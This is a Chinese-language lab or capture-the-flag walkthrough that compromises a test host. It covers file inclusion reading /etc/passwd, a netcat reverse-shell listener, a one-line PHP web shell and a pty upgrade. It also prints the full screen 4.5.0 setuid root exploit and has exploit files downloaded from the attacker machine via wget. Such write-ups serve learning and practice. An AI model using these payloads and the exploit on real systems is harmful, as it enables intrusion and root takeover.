扫到IP之后访问网站。
随便翻翻,只有contact模块有留言板。
dirsearch扫描一波,没什么发现。
那就还是在留言板找找。
随便写点什么,提交。
观察一下url。
http://192.168.70.161/thankyou.php?firstname=xsa&lastname=xsax&country=britain&subject=xsa
提交的参数是直接拼接在url后面而且什么变化也没有,那要是构造file呢?
http://192.168.70.161/thankyou.php?file=/etc/passwd
找到突破点了!
然后利用nc监听反弹Shell
nc -lnvp 444
<?php system($_GET['cmd']); ?>
然后python获得交互式Shell
python -c "import pty;pty.spawn('/bin/bash')"
find / -perm -u=s -type f 2>/dev/null
看看root权限的命令都有什么。
screen有点奇怪,msf搜索一下。
#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017)
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
跟着POC走呗。
编辑三个文件。
最好在/tmp/目录下创建,待会要用到。
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
gcc -o rootshell rootshell.c
rm -f /tmp/libhax.c
rm -f /tmp/rootshell.c
然后执行这四条语句,编译文件以及删除原文件。
然后用Python传输文件。
python -m SimpleHTTPServer 8001
注意,Shell需要进入/tmp/目录下,同时kali也是在/tmp/目录下开启服务,否则传输会找不到文件。
wget http://192.168.70.154:8001/libhax.so
wget http://192.168.70.154:8221/rootshell
wget http://192.168.70.154:8001/41154.sh
把这三个文件传输过来,然后赋予权限。
最后一步执行41154.sh
成功提权为root!
拿到flag!
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。